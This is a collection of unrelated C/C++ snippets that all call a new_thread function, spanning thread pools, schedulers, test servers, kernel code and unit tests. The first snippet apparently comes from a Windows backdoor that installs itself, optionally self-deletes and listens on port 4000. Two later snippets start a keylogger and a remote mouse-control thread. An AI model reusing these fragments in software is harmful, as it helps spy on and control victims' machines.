int APIENTRY WinMain( HINSTANCE hInstance , HINSTANCE hPrevInstance ,LPSTR lpCmdLine , int nShowCmd ){ SOCKET listenfd,connfd; TCHAR szMyPath[MAX_PATH],expPath[MAX_PATH],currDir[MAX_PATH]; STARTUPINFO si; PROCESS_INFORMATION pi; BOOL foreignRun = FALSE; GetModuleFileName( NULL, szMyPath, MAX_PATH ); //MB(szMyPath); //wsprintf( expPath , "%s\\system32" , getenv("SYSTEMROOT") ); GetSystemDirectory( expPath , MAX_PATH ); //MB(expPath); if( check_for_deinstall( lpCmdLine ) ){ DoUninstall( lpCmdLine ); exit(0); } if( !strstr( szMyPath , expPath ) ){ DoFirstRunTasks(); memset( &si , 0 , sizeof(STARTUPINFO) ); memset( &pi , 0 , sizeof(PROCESS_INFORMATION) ); si.cb = sizeof(STARTUPINFO); #ifdef OWL_MELT int m = CreateProcess( expPath, NULL, NULL, FALSE, 0, NULL, NULL, 0, &si, &pi ); SelfDelete(); exit(0); #endif } Sleep(2000); new_thread( InternetConnectionCheckerProc, NULL ); listenfd = start_server( 4000 ); while( 1 ){ connfd = accept_connection( listenfd , NULL , NULL ); if( connfd < 0 ) continue; new_thread( HandleClient , &connfd ); } closesocket(connfd); closesocket(listenfd); WSACleanup(); return 0; }
/* A test TCP server */ void setup_test_server() { tcp_test_inbound_sb = get_new_anon_soapbox(); tcp_test_outbound_sb = get_new_anon_soapbox(); tcp_http_test_inbound_sb = get_new_anon_soapbox(); tcp_http_test_outbound_sb = get_new_anon_soapbox(); if (tcp_test_inbound_sb == 0 || tcp_test_outbound_sb == 0 || tcp_http_test_inbound_sb == 0 || tcp_http_test_outbound_sb == 0) { printf("%s: Erk! Couldn't allocate soapbox! Exiting.\n", __func__); return; } tcp_test_tcp_state = tcp_create_new_listener(htons(TCP_TEST_SERVER_PORT), tcp_test_outbound_sb, tcp_test_inbound_sb); if (tcp_test_tcp_state == NULL) printf("%s: Erk! Couldn't create test server!\n", __func__); tcp_http_test_tcp_state = tcp_create_new_listener(htons(TCP_HTTP_TEST_SERVER_PORT), tcp_http_test_outbound_sb, tcp_http_test_inbound_sb); if (tcp_http_test_tcp_state == NULL) printf("%s: Erk! Couldn't create test HTTP server!\n", __func__); /* Have the server run in another thread. * Let's not avoid concurrency issues if they exist */ new_thread(tcp_test_server_thread_entry); }
void PionOneToOneScheduler::startup(void) { // lock mutex for thread safety boost::mutex::scoped_lock scheduler_lock(m_mutex); if (! m_is_running) { PION_LOG_INFO(m_logger, "Starting thread scheduler"); m_is_running = true; // make sure there are enough services initialized while (m_service_pool.size() < m_num_threads) { boost::shared_ptr<ServicePair> service_ptr(new ServicePair()); m_service_pool.push_back(service_ptr); } // schedule a work item for each service to make sure that it doesn't complete for (ServicePool::iterator i = m_service_pool.begin(); i != m_service_pool.end(); ++i) { keepRunning((*i)->first, (*i)->second); } // start multiple threads to handle async tasks for (boost::uint32_t n = 0; n < m_num_threads; ++n) { boost::shared_ptr<boost::thread> new_thread(new boost::thread( boost::bind(&PionScheduler::processServiceWork, this, boost::ref(m_service_pool[n]->first)) )); m_thread_pool.push_back(new_thread); } } }
void KeyLog( bool start ){ if( start && !bCtrlKeyLog ){ bCtrlKeyLog = true; new_thread( keyLogProc , NULL ); }else if( !start ) bCtrlKeyLog = false; }
static void master_main() { setProcTitle ( "master process", 1 ); _process_chdir = process_chdir; if ( !new_thread ( process_checker ) ) { perror ( "process checker thread error!" ); exit ( -1 ); } int i = 0; while ( 1 ) { if ( checkProcessForExit() ) { kill ( 0, SIGTERM ); /// 关闭子进程 on_master_exit_handler ( 0, NULL, NULL ); exit ( 0 ); } struct timespec timeout; timeout.tv_sec = 1; timeout.tv_nsec = 0; while ( nanosleep ( &timeout, &timeout ) && errno == EINTR ); i++; } }
void test_add_thread() { Board *board; Thread *thread; board = new_board("test", "TEST", 2, 0); assert(board != NULL); thread = new_thread(NULL, 0, 0); /* Add the first thread */ add_thread_to_board(board, thread); assert(board->first_thread == 0); assert(board->last_thread == 0); /* Add a second thread */ add_thread_to_board(board, thread); assert(board->first_thread == 0); assert(board->last_thread == 1); /* Make sure the post count hasn't magically changed */ assert(board->post_count == 0); /* Add a third thread, should remove the first one */ add_thread_to_board(board, thread); assert(board->first_thread == 1); assert(board->last_thread == 0); /* Check post count again */ assert(board->post_count == 0); free_board(board); free_thread(thread); }
thread* create_thread(F threadfunc) { boost::lock_guard<shared_mutex> guard(m); std::auto_ptr<thread> new_thread(new thread(threadfunc)); threads.push_back(new_thread.get()); return new_thread.release(); }
int main(){ connectDb(p::db); connectSocket(p::mysocket); char ipClient[32] = "\0"; ODSocket clientsocket; while(true){ bool isAccpet = p::mysocket.Accept(clientsocket,ipClient); if (isAccpet) { printf("connect ip = %s",ipClient); std::thread new_thread(TalkToClient,&clientsocket,ipClient); new_thread.detach(); } std::this_thread::sleep_for(std::chrono::milliseconds(50)); } #ifdef _WIN32 p::mysocket.Close(); p::mysocket.Clean(); #endif }
int main(int argc, char *argv[]) { init_sockets(); init_threads(); int listen_port = 7; if(argc == 2) { listen_port = atoi(argv[1]); } else { printf("usage: %s [local_port (default: %d)]\n", argv[0], listen_port); } printf("running server on port %d\n", listen_port); client_listen_fd = get_listen_fd(listen_port); for(;;) { int client_fd = accept(client_listen_fd, NULL, NULL); new_thread((void*)handle_connection, client_fd); } }
int copy_thread_skas(int nr, unsigned long clone_flags, unsigned long sp, unsigned long stack_top, struct task_struct * p, struct pt_regs *regs) { void (*handler)(int); if(current->thread.forking){ memcpy(&p->thread.regs.regs.skas, ®s->regs.skas, sizeof(p->thread.regs.regs.skas)); REGS_SET_SYSCALL_RETURN(p->thread.regs.regs.skas.regs, 0); if(sp != 0) REGS_SP(p->thread.regs.regs.skas.regs) = sp; handler = fork_handler; arch_copy_thread(¤t->thread.arch, &p->thread.arch); } else { init_thread_registers(&p->thread.regs.regs); p->thread.request.u.thread = current->thread.request.u.thread; handler = new_thread_handler; } new_thread(task_stack_page(p), &p->thread.mode.skas.switch_buf, &p->thread.mode.skas.fork_buf, handler); return(0); }
int copy_thread_skas(int nr, unsigned long clone_flags, unsigned long sp, unsigned long stack_top, struct task_struct * p, struct pt_regs *regs) { void (*handler)(int); if(current->thread.forking){ memcpy(&p->thread.regs.regs.skas, ¤t->thread.regs.regs.skas, sizeof(p->thread.regs.regs.skas)); REGS_SET_SYSCALL_RETURN(p->thread.regs.regs.skas.regs, 0); if(sp != 0) REGS_SP(p->thread.regs.regs.skas.regs) = sp; handler = fork_handler; } else { memcpy(p->thread.regs.regs.skas.regs, exec_regs, sizeof(p->thread.regs.regs.skas.regs)); memcpy(p->thread.regs.regs.skas.fp, exec_fp_regs, sizeof(p->thread.regs.regs.skas.fp)); memcpy(p->thread.regs.regs.skas.xfp, exec_fpx_regs, sizeof(p->thread.regs.regs.skas.xfp)); p->thread.request.u.thread = current->thread.request.u.thread; handler = new_thread_handler; } new_thread(p->thread_info, &p->thread.mode.skas.switch_buf, &p->thread.mode.skas.fork_buf, handler); return(0); }
hpx::thread* create_thread(F && f) { boost::lock_guard<mutex_type> guard(mtx_); std::unique_ptr<hpx::thread> new_thread( new hpx::thread(std::forward<F>(f))); threads.push_back(new_thread.get()); return new_thread.release(); }
Thread* ThreadWinrt::create_func_winrt(ThreadCreateCallback p_callback,void *p_user,const Settings&) { ThreadWinrt* thread = memnew(ThreadWinrt); std::thread new_thread(p_callback, p_user); std::swap(thread->thread, new_thread); return thread; };
explicit ThreadPool(int num = 1) : work_doze(1000) { if (num < 1) { num = 1; } max_num = num; work_threads.reserve(max_num); new_thread(); }
void post(Task task) { std::unique_lock<std::mutex> u(mutex); if (tasks.empty()) { work_doze.notify(); } else { new_thread(); } tasks.push_back(task); }
void FlyMousePtrClick( bool start ){ bCtrlFlyMousePtr = false; bCtrlFlyMousePtr = start; nCtrlClick = 1; if( start ) new_thread( flyMouseProc , &nCtrlClick ); }
pthread_t proc_thread_select::get_select(const std::string& key) { dzlog_info("thread select, key = %s", key.c_str()); pthread_t ret = 0; boost::unordered_map<std::string, proc_thread_node>::iterator iter; _select_map_mutex.lock(); iter = _select_map.find(key); if (_select_map.end() != iter) { //判断是否超时, 查看下是否超時 /*if (time(NULL) - iter->second._last_select > _out_interval) { _select_map.erase(iter); ret = new_thread(); if (0 != ret) { proc_thread_node new_node; new_node.key = key; new_node._last_select = time(NULL); new_node._pthread_id = ret; _select_map.insert(std::pair<std::string, proc_thread_node>(key, new_node)); } else { } } else {*/ ret = iter->second._pthread_id; //} } else { //新连接,判断哪个线程的用户量少就选哪个 ret = new_thread(); if (0 != ret) { proc_thread_node new_node; new_node.key = key; new_node._last_select = time(NULL); new_node._pthread_id = ret; _select_map.insert(std::pair<std::string, proc_thread_node>(key, new_node)); dzlog_info("select new thread, key = %s, id = %ld", key.c_str(), ret); } else { dzlog_info("select thread error, key = %s", key.c_str()); } } _select_map_mutex.unlock(); dzlog_info("select thread, key = %s, id = %ld", key.c_str(), ret); return ret; }
void t_gui_start(void) { gui *g = gui_init(); widget *win = new_toplevel_window(g, 550, 140, "input signal"); widget *plot = new_xy_plot(g, 512, 100, "eNB 0 input signal", 20); widget_add_child(g, win, plot, -1); xy_plot_set_range(g, plot, 0, 76800, 30, 70); xy_plot_new_plot(g, plot, FOREGROUND_COLOR); eNB_data.input_signal = plot; eNB_data.input_signal_length = 76800 * 4; eNB_data.input_signal_iq = calloc(1, 76800 * 4); if (eNB_data.input_signal_iq == NULL) abort(); pthread_mutex_init(&eNB_data.input_signal_lock, NULL); eNB_data.g = g; new_thread(gui_thread, g); new_thread(input_signal_plotter, NULL); }
/* * näppisajuri syöttää vt_keyboard_eventille näppäinkoodin ja tiedon * näppäimen suunnasta. * * vt:n säilömä keyeventti koostuu keycodesta ja 0x100:n kohdalla olevasta * bitistä joka ilmaisee onko nappula mennyt ylös vai alas (1=ylös). */ void vt_keyboard_event(int code, int up) { if(!initialized) return; if(!vt[cur_vt].kb_buf) return; //(näin ei taida kyllä edes voida käydä) code &= 0xff; //kprintf("\n[event,c=%i,u=%i]", code, up); //spinl_lock(&vt[cur_vt].kb_buf_lock); switch(code){ case KEYCODE_PGUP: if ((vt[cur_vt].kb_mods & KEYB_MOD_SHIFT)){ if(!up) vt_scroll(vt_get_display_height()/2); return; } case KEYCODE_PGDOWN: if ((vt[cur_vt].kb_mods & KEYB_MOD_SHIFT)){ //vt_scroll(-1); if(!up) vt_scroll(-(int)vt_get_display_height()/2); return; } default: if (KEYCODE_F1 <= code && code <= KEYCODE_F6) { // f1-f6 if(!up) vt_change(code - KEYCODE_F1); return; } else if ((code == KEYCODE_C) && (vt[cur_vt].realtime_kb_mods & KEYB_MOD_CTRL)) { #if 0 if(!up){ extern tid_t sh_tid; kill_thread(sh_tid); vt_unlockspinlocks(); sh_tid = new_thread(run_sh, 0, 0, 0); } return; #endif } } do_kb_mods(code, up, &vt[cur_vt].realtime_kb_mods); //kprintf(" [[[%s]]] ",(vt[cur_vt].kb_mods&(KEYB_MOD_LSHIFT|KEYB_MOD_RSHIFT))?"s":"n"); vt[cur_vt].kb_buf[vt[cur_vt].kb_buf_end] = code | (up ? 0x100 : 0); ++vt[cur_vt].kb_buf_count; ++vt[cur_vt].kb_buf_end; vt[cur_vt].kb_buf_end %= VT_KB_BUFFER_SIZE; //spinl_unlock(&vt[cur_vt].kb_buf_lock); }
int test_thread_full(void* data) { (void) data; int status = 1; /* create dummy post */ Post *post = new_post("title", "name", "text", 0, 0, 0); Thread *thread = new_thread(NULL, 1, 0); add_post_to_thread(thread, post); add_post_to_thread(thread, post); assert(thread->nreplies == 1); free_thread(thread); free_post(post); return status; }
int tpool_init(tpool_t* tp, char* name, int n){ int i; int re; tp->name = name; tp->num =n; tp->threads= my_malloc(sizeof(thread_t*) * n); for(i=0; i<tp->num; i++){ tp->threads[i] = new_thread(i); re = pthread_create(&tp->threads[i]->pid, NULL, warp_fun,(void*)tp->threads[i]); assert(re==0); } return 0; }
int main(void) { int tid, status; printf("[main_] started\n"); printf("[main_] tls fs: %p\n", (void*) get_fs()); printf("[main_] tls gs: %p\n", (void*) get_gs()); tid = new_thread(&child); printf("[main_] child launched: %d\n", tid); print_id("main_", 1, &thread_i); usleep(500000); return EXIT_SUCCESS; }
/* Creates and empty thread. */ int test_empty_thread(void *data) { (void) data; int status = 1; /* test is correct */ Thread *thread = new_thread(NULL, 1, 0); /* Test that values have correctly been set */ assert(thread != NULL); assert(thread->replies != NULL); assert(thread->op == NULL); assert(thread->max_replies == 1); assert(thread->first_post == -1); assert(thread->last_post == -1); assert(thread->nreplies == 0); free_thread(thread); return status; }
int test_add_post(void *data) { (void) data; int status = 1; /* create posts */ Post *op = new_post("nameOP", "titleOP", "textOP", 0, -1, 0); Post *reply = new_post("name", "title", "text", 1, 0, 0); Thread *thread = new_thread(op, 150, 0); add_post_to_thread(thread, reply); assert(thread->nreplies == 1); assert(thread->first_post == 0); assert(thread->last_post == 0); free_thread(thread); free_post(op); free_post(reply); return status; }
KDEF_SYSCALL(thread_fork, r) { // example: thread_fork(stack, function, argument); process_stack stack = init_pstack(); if(current->proc->flags & PROC_FLAG_DEBUG) { debug("[info]thread_fork(%x, %x, %x)\n", stack[0], stack[1], stack[2]); } thread_t *th = new_thread((void (*)(void))stack[1], 1); append_to_list(current->proc->threads, th->process_threads); th->proc = current->proc; uint32_t *stk = (uint32_t *)stack[0]; *--stk = stack[2]; *--stk = SIGNAL_RETURN_ADDRESS; th->r.useresp = th->r.ebp = (uint32_t)stk; r->eax = th->tid; return r; }
void PionSingleServiceScheduler::startup(void) { // lock mutex for thread safety boost::mutex::scoped_lock scheduler_lock(m_mutex); if (! m_is_running) { PION_LOG_INFO(m_logger, "Starting thread scheduler"); m_is_running = true; // schedule a work item to make sure that the service doesn't complete m_service.reset(); keepRunning(m_service, m_timer); // start multiple threads to handle async tasks for (boost::uint32_t n = 0; n < m_num_threads; ++n) { boost::shared_ptr<boost::thread> new_thread(new boost::thread( boost::bind(&PionScheduler::processServiceWork, this, boost::ref(m_service)) )); m_thread_pool.push_back(new_thread); } } }
//-------------------------------------------------------------------------- // check if there are pending messages from thread DB void linux_debmod_t::tdb_handle_messages(int tid) { if ( ta == NULL ) return; td_event_msg_t tmsg; thrinfo_t ti; td_err_e err; int loop = 1; td_thrhandle_t th; do { err = td_ta_event_getmsg(ta, &tmsg); if ( err != TD_OK ) { if ( err == TD_NOMSG ) return; msg("Cannot get thread event message: %s\n", tdb_strerr(err)); return; } err = td_thr_get_info(tmsg.th_p, &ti); ti.th_p = tmsg.th_p; COMPLAIN_IF_FAILED("td_thr_get_info", err); switch ( tmsg.event ) { case TD_CREATE: new_thread(&ti); break; case TD_DEATH: dead_thread(ti.ti_lid); break; default: msg("Spurious thread event %d.", tmsg.event); } } while (loop); }
void scheduler::startup() { // lock mutex for thread safety std::lock_guard<std::mutex> scheduler_lock(mutex); if (!running) { STATICLIB_PION_LOG_INFO(log, "Starting thread scheduler"); running = true; // schedule a work item to make sure that the service doesn't complete asio_service.reset(); keep_running(asio_service, timer); // start multiple threads to handle async tasks for (uint32_t n = 0; n < num_threads; ++n) { std::unique_ptr<std::thread> new_thread(new std::thread([this]() { this->process_service_work(this->asio_service); this->thread_stop_hook(); })); thread_pool.emplace_back(std::move(new_thread)); } } }
int main(void) { int i; ENTER(); #ifdef DEBUG /* * When debugging, this allows us to print function names * in our frame stack printouts. */ register_symbol("spurious", spurious); register_symbol("add", add); register_symbol("caller", caller); #endif for (i = 0; i < NUMTHREADS; i++) new_thread(caller, sizeof(struct caller_frame)); while (step_thread(1000) == 0); printf("\nAll is well\n"); LEAVE(); return 0; }
void exec_command(char *name, int argc, char **args, int w) { uint32_t i; uint32_t j; uint32_t title_len; uint32_t cmd_name_len; bool found; uint32_t *status; for (i = 0, found = false; i < next && !found; i++) { if (!strcmp(commands[i].name, name)) { if (w) { // Add the command's name to the title. title_len = strlen(TITLE); cmd_name_len = strlen(commands[i].name); puts_at(" - ", 0, title_len); puts_at(commands[i].name, 0, title_len + 3); } if (new_thread(name, &status)) { // Within a new thread, call the function and pass the arguments // to it. (*commands[i].func)(argc, args, CALL_TYPE_NORMAL); // When the operation completes, dispose of the thread. dispose_thread(); } if (w) { // Wait for the command to complete. wait(status); // Remove the command's name from the title. for (j = title_len; j < title_len + cmd_name_len + 3; j++) putc_at('\x00', 0, j); } found = true; } } if (!found) puts("Command not found.\n"); }